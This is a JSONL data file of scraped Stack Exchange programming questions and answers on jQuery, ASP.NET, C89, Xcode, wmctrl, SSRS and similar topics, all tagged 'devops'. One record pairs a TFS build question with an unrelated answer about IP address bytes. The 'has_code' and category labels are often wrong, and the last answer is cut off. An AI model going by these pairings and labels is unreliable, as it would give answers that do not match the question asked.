{"id": "hf_6e643ce6133c", "question": "<p>I realized the solution to this problem while I was creating the documentation to ASK this question...so I am posting the answer if for no other reason than to keep me from wasting time on this in the future</p>\n", "question_body": "", "answer": "If the content to be TOGGLEd is displayed (visible) when the page is rendered the functions would be in the following order, if the content is hidden originally then reverse the functions\n```\n```\n<html>\n<head>\n<style>\n #upperDiv {width:200px; height:20px; text-align:center; cursor:pointer; }\n #lowerDiv {width:200px; height:20px; background-color:red; border:#206ba4 1px solid;}\n</style>\n\n<script language=\"Javascript\" src=\"javascript/jquery-1.2.6.min.js\"></script>\n<script type=\"text/JavaScript\">\n\n$(function(){\n$('#upperDiv').toggle (\n    function(){ \n        $(\"#lowerDiv\").hide() ; \n        },\n    function(){ \n        $(\"#lowerDiv\").show() ; \n        }\n); // End toggle\n }); // End eventlistener\n\n</script>\n</head>\n<body>\n<div id=\"upperDiv\" >Upper div</div>\n<div id=\"lowerDiv\" >Lover Div</div>\n</body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.753055"}
{"id": "hf_50dffef96132", "question": "<p>Does anyone have a suggestions as to the best way to allow users to select which columns appear in a datagrid?  I would like them to be able to set this up.  It would be stored with the user in a profile and loaded each time the user loads the grid.  I was thinking about something with ASP.NET personalization.</p>\n", "question_body": "", "answer": "There are several options for you here.\nAdd an 'X' image to the header for each column and with a javascript onclick event do a web method call to remove that column from the user's profile of what columns to load.\nHave a customization flyout page where by there would be a checkbox list of all the columns and the user could either add or remove what columns from the grid.\nThere are a few more but they are less AJAX and more page reloading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.773035"}
{"id": "hf_33354b8d0ff6", "question": "<p>Does anyone know of a good alternative to cron?  I would like something that can be run with  different time zones.</p>\n", "question_body": "", "answer": "You may consider\nQuartz\n(a java-based solution), that can take advantage of\n```\nDate\n```\nbuild in the appropriate TimeZone\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.795908"}
{"id": "hf_915333de3f69", "question": "<p>Can anybody tell me when Application_End is triggered in a lifecycle of an application? When all sessions are ended, will Application_End be triggered automatically? + Are there any other reasons why Application_End could be triggered?</p>\n", "question_body": "", "answer": "The\n```\napplication_end\n```\nevent primarily fires when the IIS pool is recycled or the application itself is unloaded. One other thing to note, that a change to a dependent file (say web.config) will cause the application to reload itself, which will in cause the application_end event to fire while it is closing itself off.\nTo note, the only instance I found of the application end event firing when the last user session times out is in some old documentation dated 2001. I'm not sure if that criteria still applies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.833746"}
{"id": "hf_07d50edd7d72", "question": "<p>So if I have:</p>\n\n<pre><code>public class ChildClass : BaseClass\n{\n    public new virtual string TempProperty { get; set; }\n}\n\npublic class BaseClass\n{\n    public virtual string TempProperty { get; set; }\n}\n</code></pre>\n\n<p>How can I use reflection to see that ChildClass is hiding the Base implementation of TempProperty?</p>\n\n<p>I'd like the answer to be agnostic between c# and vb.net</p>\n", "question_body": "", "answer": "Correction, if you are using VB the property you are looking for is \"IsHideBySig\".  This will be false in the case that the \"new\" keyword was used to define a method/property.\nIn the C# case, both instances are outputted as \"hidebysig\".  Thanks for pointing that out Greg.  I didn't realize I only tested this in VB.  Here's sample VB code that will repro this behavior.\n```\n```\nModule Module1\n\n    Class Foo\n        Public Function SomeFunc() As Integer\n            Return 42\n        End Function\n    End Class\n\n    Class Bar\n        Inherits Foo\n        Public Shadows Function SomeFunc() As Integer\n            Return 36\n        End Function\n    End Class\n\n    Sub Main()\n        Dim type = GetType(Bar)\n        Dim func = type.GetMethod(\"SomeFunc\")\n        Stop\n    End Sub\n\nEnd Module\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.868048"}
{"id": "hf_b23078caf21c", "question": "<p>I have two system calls GetSystemTime() and GetThreadTimes() that I need to calculate the CPU utilization by a given Win32 thread.</p>\n\n<p>For the sake of accuracy, I need to ensure that both GetSystemTime() and GetThreadTimes() are executed atomically; i.e. there should be no context switch in between a call to GetSystemTime() &amp; GetThreadTimes().</p>\n\n<p>The reason is that occasionally I end up with a percentage of over 100% (~ 1 in 500).</p>\n\n<p>How can I ensure an atomic execution of the 2 function calls?</p>\n\n<p>Thanks,\nSachin</p>\n", "question_body": "", "answer": "I'm not so sure you can. Unless you know what the underlying operations are in each function, and since they happen to be Windows API calls... good luck.\nWould it not be possible to just adjust for percentages over 100?\n```\n```\nperc = ( perc > 100.0f ) ? 100.0f : perc;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.895057"}
{"id": "hf_83158045c853", "question": "<p>Do any of the existing JavaScript frameworks have a non-regex <code>replace()</code> function,\nor has this already been posted on the web somewhere as a one-off function?</p>\n\n<p>For example I want to replace <code>\"@!#$123=%\"</code> and I don't want to worry about which characters to escape. Most languages seem to have both methods of doing replacements. I would like to see this simple thing added.</p>\n", "question_body": "", "answer": "i may be misunderstanding your question, but javascript does have a\n```\nreplace()\n```\n```\n```\nvar string = '@!#$123=%';\nvar newstring = string.replace('@!#$123=%', 'hi');\n```\n```\nedit\n: (see comments) the 5th edition does seem to have this info in it, although it doesn't show up when i\nlink directly\nto it. here's the relevant part:\nThe replace( ) method performs a search-and-replace operation. It takes a regular expression as its first argument and a replacement string as its second argument. It searches the string on which it is called for matches with the specified pattern. If the regular expression has the g flag set, the replace( ) method replaces all matches in the string with the replacement string; otherwise, it replaces only the first match it finds.\nIf the first argument to replace( ) is a string rather than a regular expression, the method searches for that string literally rather than converting it to a regular expression with the RegExp( ) constructor, as search( ) does.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.924469"}
{"id": "hf_4704de3b2223", "question": "<p>Trying to establish a connection between my windows box (2003 server) and the oracle (11g) database.</p>\n\n<p>I'm able to successfully ping the oracle host from the windows box. However tnsping command fails with the error tns-12532 error. </p>\n\n<p>Any ideas to solve this issue?</p>\n", "question_body": "", "answer": "From\nthe Oracle Error Messages documentation\n:\nORA-12532: TNS:invalid argument\nCause:\nAn internal function received an invalid parameter.\nAction:\nNot normally visible to the user. For further details, turn on tracing and reexecute the operation. If error persists, contact Oracle Customer Support.\nHave you followed that path yet?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.961006"}
{"id": "hf_1d07371784f6", "question": "<p>If I create a UserControl and add some objects to it, how can I grab the HTML it would render?</p>\n\n<p>ex.</p>\n\n<pre><code>UserControl myControl = new UserControl();\nmyControl.Controls.Add(new TextBox());\n\n// ...something happens\n\nreturn strHTMLofControl;\n</code></pre>\n\n<p>I'd like to just convert a newly built UserControl to a string of HTML.</p>\n", "question_body": "", "answer": "Call its\n```\n.RenderControl()\n```\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.031882"}
{"id": "hf_8a63aed2fc6c", "question": "<p>I am using this code to verify a behavior of a method I am testing:</p>\n\n<pre><code>    _repository.Expect(f =&gt; f.FindAll(t =&gt; t.STATUS_CD == \"A\"))\n    .Returns(new List&lt;JSOFile&gt;())\n    .AtMostOnce()\n    .Verifiable();\n</code></pre>\n\n<p>_repository is defined as:</p>\n\n<pre><code>private Mock&lt;IRepository&lt;JSOFile&gt;&gt; _repository;\n</code></pre>\n\n<p>When my test is run, I get this exception:</p>\n\n<p><strong>Expression t => (t.STATUS_CD = \"A\") is not supported.</strong></p>\n\n<p>Can someone please tell me how I can test this behavior if I can't pass an expression into the Expect method?</p>\n\n<p>Thanks!!</p>\n", "question_body": "", "answer": "In Rhino Mocks you would do something like this...\nInstead of using an Expect, use a Stub and Ignore the arguments.  Then have --\n```\n```\nFunc<JSOFile, bool> _myDelegate;\n\n_repository.Stub(f => FindAll(null)).IgnoreArguments()\n   .Do( (Func<Func<JSOFile, bool>, IEnumerable<JSOFile>>) (del => { _myDelegate = del; return new List<JSOFile>();});\n```\n```\nCall Real Code\n*Setup a fake JSOFile object with STATUS_CD set to \"A\" *\n```\n```\nAssert.IsTrue(_myDelegate.Invoke(fakeJSO));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.066566"}
{"id": "hf_6b8a9c759d47", "question": "<p>How Can I put information in a outputstream from tapestry5 ?</p>\n\n<p>I need a page when a user enters it open a dialog for save or open the file with the outputstream information.</p>\n\n<p>I write the next code:</p>\n\n<p>public class Index {</p>\n\n<pre><code>@Inject\nprivate RequestGlobals requestGlobals;\n\n@OnEvent(\"activate\")\npublic void onActivate() {\n    try {\n        HttpServletResponse response = requestGlobals.getHTTPServletResponse();\n        response.setContentType(\"text/txt\");\n        PrintWriter out = response.getWriter();\n        out.println(\"hellooooooo\");\n        out.flush();\n    } catch (IOException ex) {\n        Logger.getLogger(Index.class.getName()).log(Level.SEVERE, null, ex);\n    }\n}\n</code></pre>\n\n<p>}</p>\n\n<p>I hope that the result is only \"helloooooooo\" but is (\"helloooooooo\" + my html raw page)</p>\n", "question_body": "", "answer": "Your method should have a return type of StreamResponse. You return an implementation of the interface StreamResponse, which simply returns the data you want with the content type you want.\nLook it up here:\nhttp://tapestry.apache.org/tapestry5/apidocs/\nmore info here:\nhttp://tapestry.formos.com/nightly/tapestry5/tapestry-core/guide/pagenav.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.111934"}
{"id": "hf_dcf2c17d31d4", "question": "<p>I long thought that in C, all variables had to be declared at the beginning of the function. I know that in C99, the rules are the same as in C++, but what are the variable declaration placement rules for C89/ANSI C?</p>\n\n<p>The following code compiles successfully with <code>gcc -std=c89</code> and <code>gcc -ansi</code>:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main() {\n    int i;\n    for (i = 0; i &lt; 10; i++) {\n        char c = (i % 95) + 32;\n        printf(\"%i: %c\\n\", i, c);\n        char *s;\n        s = \"some string\";\n        puts(s);\n    }\n    return 0;\n}\n</code></pre>\n\n<p>Shouldn't the declarations of <code>c</code> and <code>s</code> cause an error in C89/ANSI mode?</p>\n", "question_body": "", "answer": "It compiles successfully because GCC allows the declaration of\n```\ns\n```\nas a GNU extension, even though it's not part of the C89 or ANSI standard. If you want to adhere strictly to those standards, you must pass the\n```\n-pedantic\n```\nflag.\nThe declaration of\n```\nc\n```\nat the start of a\n```\n{ }\n```\nblock is part of the C89 standard; the block doesn't have to be a function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.134809"}
{"id": "hf_dcb516337b0c", "question": "<p>Is there any plugins for Eclipse for portlet design and deployment? I have never designed portlets so are there any good tutorials on the web as well?</p>\n", "question_body": "", "answer": "You do have a\ntutorial\nabout portlet development (not portlet deployment though, that would be through an appropriate\neclipse-maven configuration\n)\nPortal eclipse\ncan also help to develop portlet in eclipse.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.169161"}
{"id": "hf_de7c3e61e171", "question": "<p>Can someone explain to me the difference between these 3 approaches to processing messages that fail delivery?</p>\n\n<ul>\n<li>Poison Queue service</li>\n<li>Dead-Letter Queue service</li>\n<li>Using a response service to handle failures</li>\n</ul>\n\n<p>I have \"Programming WCF\", but I don't really understand when you would use one of these over another, or when it would make sense to use more than one of them. Thanks!</p>\n", "question_body": "", "answer": "Poison message / dead letter message queues are used to place messages that have been determined to be undeliverable in a queue that will not try to deliver them anymore. You would do this if you might want to manually take a look at failed messages and process them at a later point. You use these type of queues when you want to keep bad messages from degrading the performance of your system by retrying over and over again.\nOn the other hand, a response service would be used to notify the sender that there was an error processing the message. Typically in this case you aren't planning on manually processing the bad message and need to let the system that sent the message in that the request has been rejected.\nNote that these aren't exclusive. If you are using queues, there is always the chance that the message serialization might change enough to break messages that are in the queue in which case you might still want to have a dead letter queue even if you are using a response service.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.192424"}
{"id": "hf_d95cc47fa570", "question": "<p>I am trying to link the as3corelib library to use their JSON functionality following <a href=\"http://www.mikechambers.com/blog/2006/03/28/tutorial-using-json-with-flex-2-and-actionscript-3/\" rel=\"nofollow noreferrer\">this tutorial</a>. But am having trouble compiling it. My command looks like:</p>\n\n<pre>\nmxmlc --strict=true -library-path+=as3corelib.swc --file-specs  myapp.mxml\n</pre>\n\n<p>But I am getting this error:</p>\n\n<pre>\n_divided_mx_managers_SystemManager.as(13): col: 14 Error: Interface method getVisibleApplicationRect in namespace mx.managers:ISystemManager not implemented by\nclass _divided_mx_managers_SystemManager.\n\npublic class _divided_mx_managers_SystemManager\n</pre>\n\n<p>What is the problem?</p>\n\n<p><em>Update: Is this because I am using Flex 3? The tutorial seems to be for Flex 2. If so, what do I need to do for Flex 3?</em></p>\n", "question_body": "", "answer": "Are you using the flex Gubmo sdk?\nLooks like the method it's complaining about is in an interface that's part of Gumbo.\nIf so, then as3corelib probably won't work with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.227864"}
{"id": "hf_2e9ac32a7928", "question": "<p>Does Xcode support anything akin to Visual Studio style <code>#region</code> directives for arbitrary code folding?</p>\n", "question_body": "", "answer": "No, you can only fold code on various defined scoping levels in Xcode.\nYou can use little tricks to make navigating via the function menu easier, though.\n```\n```\n#pragma mark\n```\n```\nAllows you to create a grouping where the label following mark will show up in the function menu. If the label is a hyphen, a separator is inserted into the function menu.\nAlso, the following labels in comments will show up in the function menu:\n```\n```\n// MARK:\n// TODO:\n// FIXME:\n// !!!:\n// ???:\n```\n```\nObviously since #pragma mark is not really portable, if you're building a portable application and need it to work with a compiler that doesn't just ignore #pragma directives that it doesn't understand, the comment-style mark is a decent alternative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.275102"}
{"id": "hf_8fc9c6a52815", "question": "<p>Anyone knows a good way to resize any window to for example 640x480?</p>\n\n<p>Reason is, of course, screencasting.</p>\n\n<p>Under windows I've used ZoneSize from donationcoder. (Btw: For Firefox it's easy, just use the web developer toolbar.)</p>\n", "question_body": "", "answer": "Use the\nwmctrl\ncommand:\nTo list the windows:\n```\n```\n$ wmctrl -l\n0x00c00003 -1 rgamble-desktop Bottom Expanded Edge Panel\n0x00c00031 -1 rgamble-desktop Top Expanded Edge Panel\n0x00e00022 -1 rgamble-desktop Desktop\n0x0260007c  0 rgamble-desktop Google - Mozilla Firefox\n```\n```\nTo resize a window based on its title:\n```\n```\nwmctrl -r Firefox -e 0,0,0,640,480\n```\n```\nThe arguments to the resize option are\n```\ngravity,X,Y,width,height\n```\nso this will place the window at the top-left corner of the screen and resize it to 640X480.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.310533"}
{"id": "hf_5ee575ac526c", "question": "<p>Here is what I am trying to do:\nGiven a date, a day of the week, and an integer <code>n</code>, determine whether the date is the <code>n</code>th day of the month.</p>\n\n<p>For example:</p>\n\n<ul>\n<li><p>input of <code>1/1/2009,Monday,2</code>\nwould be false because <code>1/1/2009</code> is not the second Monday</p></li>\n<li><p>input of \n<code>11/13/2008,Thursday,2</code>\nwould return true because it is the second Thursday</p></li>\n</ul>\n\n<p>How can I improve this implementation?</p>\n\n<pre><code>private bool NthDayOfMonth(DateTime date, DayOfWeek dow, int n)\n{\n    int d = date.Day;\n    return date.DayOfWeek == dow &amp;&amp; (d/ 7 == n || (d/ 7 == (n - 1) &amp;&amp; d % 7 &gt; 0));\n}\n</code></pre>\n", "question_body": "", "answer": "You could change the check of the week so the function would read:\n```\n```\nprivate bool NthDayOfMonth(DateTime date, DayOfWeek dow, int n){\n  int d = date.Day;\n  return date.DayOfWeek == dow && (d-1)/7 == (n-1);\n}\n```\n```\nOther than that, it looks pretty good and efficient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.334097"}
{"id": "hf_cdf6f17398b5", "question": "<p>How can I create a Sidebar form in delphi.</p>\n<p>I try the <code>ScreenSnap</code> and <code>Align</code> properties but I need that the form stay visible even if the user maximize other forms, without been on top. Just like the windows sidebar do.</p>\n<p><strong>Update</strong>: From the comments: if a window is maximized, it maximizes next to the window, not in front of or behind.</p>\n", "question_body": "", "answer": "You can call a Windows API function to force your application to stay on top:\n```\n```\nSetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.379985"}
{"id": "hf_c3f77ef67404", "question": "<p>I am really stuck with this Parser Error Message telling me \"<code>Could not load the assembly 'App_Web_amlohswi'. Make sure that it is compiled before accessing the page.</code>\"  I have been looking around for a few hours checking different posts here and googling information.  I have found out that I need to set up a new Application Pool that runs <code>.NET 2.x</code>.  </p>\n\n<p>(On a side note, my app is being developed in <code>.NET 3.5</code>, is there a way to set it up to use <code>3.5</code> instead of <code>2.x</code>?)</p>\n\n<p>Can someone provide me with a good explaination on how to set this up properly and (optionally) why is it necessary?</p>\n\n<p>I am more used to developing in PHP so I am used to edit src >> upload >> success!</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "ASP.NET 3.5 sites run in 2.0 app pools as long as that version of .NET is installed on the system.\nYou may have to set up web.config properly. Visual Studio should do this for you when you create a new project.\nYou should also make sure you don't combine 1.1 and 2.0 applications in the same app pool. Try putting it in a separate app pool and see that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.402542"}
{"id": "hf_cfbb39b85cda", "question": "<p>I have a web application project (wap) that is successfully being deployed to a development server by our tfsbuild server.</p>\n\n<p>I'd like the build server to run our collection of webtests after deployment.</p>\n\n<p>What is a best practice (or ANY practice) for doing this?</p>\n", "question_body": "", "answer": "You're almost there with your code. I agree with you, the MSDN is not quite explicit on what's inside that byte array, but here's what you can do :\n```\n```\nIPAddress address = new IPAddress(_ClientIPAddress.Address.Skip(2).Take(4).ToArray());\n```\n```\nThe first two bytes do not seem to be used, but in the case of AF_INET (which is IPv4, or 2) the next four bytes are the IPv4 address of the client.\nYou might also want to make sure that your code will handle IPv6 (AF_INET6) properly, or handle the fact that AF_INET6 is a likely value. You'll probably need to read 16 bytes instead of 4 for this protocol.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.449262"}
{"id": "hf_f14a10325146", "question": "<p>When using regular expressions in Ruby, what is the difference between $1 and \\1?</p>\n", "question_body": "", "answer": "\\1 is a backreference which will only work in the same\n```\nsub\n```\nor\n```\ngsub\n```\nmethod call, e.g.:\n```\n```\n\"foobar\".sub(/foo(.*)/, '\\1\\1') # => \"barbar\"\n```\n```\n$1 is a global variable which can be used in later code:\n```\n```\nif \"foobar\" =~ /foo(.*)/ then \n  puts \"The matching word was #{$1}\"\nend\n```\n```\nOutput:\n```\n```\n\"The matching word was bar\"\n# => nil\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.472490"}
{"id": "hf_de9d160180a8", "question": "<p>Here's the scenario - a client uploads a Sybase dump file to (gzipped) to our local FTP server. We have an automated process which picks these up and then moves them to different server within the network where the database server resides. Unfortunately, this transfer is over a WAN, which for large files takes a long time, and sometimes our clients forget to FTP in binary mode, which results in 10GB of transfer over our WAN all for nothing as the dump file can't be loaded at the other end. What I'd like to do, is verify the integrity of the dump file on the local server before sending it out over the WAN, but I can't just try and \"load\" the dump file, as we don't have Sybase installed (and can't install it). Are there any tools or bits of code that I can use to do this?</p>\n", "question_body": "", "answer": "There is no way to really verify the integrity of the dump file without loading it in some way by a backup server. The client should know whether the dump is successful or not via the backup log or output during the dump.\nBut to solve your problem you should use to SFTP or SCP, all transfers are done in binary, alleviating your problem.\nEnsure that they are also using compression in the dump a value of 1-3 is more than enough, this should reduce your network traffic also.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.507215"}
{"id": "hf_2fbb8a44534b", "question": "<p>I have a form that excepts a file upload in ASP.NET. I need to increase the max upload size to above the 4 MB default.</p>\n\n<p>I have found in certain places referencing the below code at <a href=\"http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.maxrequestlength.aspx\" rel=\"noreferrer\">msdn</a>. </p>\n\n<pre><code>[ConfigurationPropertyAttribute(\"maxRequestLength\", DefaultValue = )]\n</code></pre>\n\n<p>None of the references actually describe how to use it, and I have tried several things with no success. I only want to modify this attribute for certain pages that are asking for file upload.</p>\n\n<p>Is this the correct route to take? And how do I use this?</p>\n", "question_body": "", "answer": "If its windows 2003 / IIS 6.0 then check out AspMaxRequestEntityAllowed = \"204800\" in the file\nmetabase.xml\nlocated in folder C:\\windows\\system32\\inetsrv\\\nThe default value of \"204800\" (~205Kb) is in my opinion too low for most users. Just change the value to what you think should be max.\nIf you cant save the file after editing it you have to either stop the ISS-server or enable the server to allow editing of the file:\n(source:\nitmaskinen.se\n)\nEdit: I did not read the question correct (how to set the maxrequest in webconfig). But this informatin may be of interrest for other people, many people who move their sites from win2000-server to win2003 and had a working upload-function and suddenly got the\nRequest.BinaryRead Failed\nerror will have use of it. So I leave the answer here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.572523"}
{"id": "hf_b7da76597a6b", "question": "<p>How would I go about creating a real world form creation class that I can use to display a new form with fields of different types, as how many fields I want, I can use drop downs and I can do all of this by using OOP?</p>\n", "question_body": "", "answer": "You definitely can. Consider a Form class which stores information about the form itself: the\n```\nmethod\n```\n,\n```\naction\n```\n,\n```\nenctype\n```\nattributes. Also throw in stuff like an optional heading and/or description text at the top. Of course you will also need an array of input elements. These could probably be put into their own class (though subclassing them for InputText, InputCheckbox, InputRadio maybe be a bit over the top). Here's a vague skeleton design:\n```\n```\nclass Form {\n    var $attributes,    // array, with keys ['method' => 'post', 'action' => 'mypage.php'...]\n        $heading,\n        $description,\n        $inputs        // array of FormInput elements\n    ;\n\n    function render() {\n        $output = \"<form \" . /* insert attributes here */ \">\"\n              . \"<h1>\" . $this->heading . \"</h1>\"\n              . \"<p>\" . $this->description . \"</p>\"\n        ;\n        // wrap your inputs in whatever output style you prefer:\n        // ordered list, table, etc.\n        foreach ($this->inputs as $input) {\n            $output .= $input->render();\n        }\n        $output .= \"</form>\";\n        return $output;\n    }\n}\n```\n```\nThe FormInput class would just need to store the basics, such as type, name, value, label. If you wanted to get tricky then you could apply validation rules which would then be converted to Javascript when rendering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.595188"}
{"id": "hf_7781e1f62632", "question": "<p>Say I have a sql query </p>\n\n<pre><code>SELECT fname, lname, dob, ssn, address1, address2, zip, phone,state from users\n</code></pre>\n\n<p>Now say the records are now either in dictionary base or a strongly typed collection.</p>\n\n<p>I have a grid view control and i want to bind it to my collection but I only want to display fname, lname, dob and ssn and not the other columns.</p>\n\n<p>Is there an easy way to extract the columns and then bind to the extracted item? Not sure if LINQ would be helpful here.</p>\n\n<p>This is a test project as I am getting familiar with the web world wqith VS-2008</p>\n", "question_body": "", "answer": "Perhaps LINQ and an anonymous class could do the trick for you.\n```\n```\nfrom user in UserCollection\nselect new { FirstName=user.fname, LastName=user.lname, Dob=user.dob, SSN=user.ssn }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.628990"}
{"id": "hf_8f261d1cea47", "question": "<p>What does the quote \"Level of Indirection solves every Problem\" mean in Computer Science?</p>\n", "question_body": "", "answer": "Generally it means that by increasing the level of abstraction one can make the problem easier to understand/resolve.\nBe careful with your abstractions though, the full quote at least as I heard it is, \"You can solve every problem with another level of indirection, except for the problem of too many levels of indirection\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:19.664096"}
{"id": "hf_5a2af296a4d6", "question": "<p>I am using SQL Server Reporting Services 2008 (though this seems to be an issue for me in 2005 also).  I have a report that has one page per customer (i.e. paged on customerId).  The odd thing I'm seeing is that the first report (i.e. first page of the report) has a bit of extra white space at the top than the other pages.  In general this seems to occur when you have a title for the report and paging (so that the first page has the title, but each successive page does not).  The report I'm dealing with does not have a title like that, but still has this extra white space.</p>\n\n<p>What I'm wondering is how do I prevent that extra white space on this first page of the report.  How do I make each page of the report identical?</p>\n\n<p>I do not have a header or footer applied to the report either.</p>\n", "question_body": "", "answer": "There are a couple of different causes for extra space at the top of the HTML render of a page in any version of Reporting Services.  There are a couple of tricks to working around this depending upon the cause of the problem:\nMove the title from the Header to the Body of the report.  If the title is a label, this doesn't always help.\nIf you are using a table, then add a separate row to the header of the table.  This seems to work very well, particularly when you render to Excel.  However, not all report requirements can support this as a solution.\nIn SSRS 2000/2005, if you are using a container such as a rectangle or group, then the odds that you will having a spacing issue increase.  If you can move the title out of the container, then this can help reduce the likelihood of a problem.  I haven't tried using the Tablix grouping controls in SSRS 2008, so I can't tell if this will work in SSRS 2008.\nIf you keep the header and footer objects on even you aren't adding any labels to the regions, then these can lead to extra spaces on the first page.\nIt is difficult to give you better advice without reproducing your exact problem.  If you want to post the code for a sample RDL file temporarily, then I can try to reproduce the problem in SSRS 2008 on my machine and see if I can provide you with a custom solution to 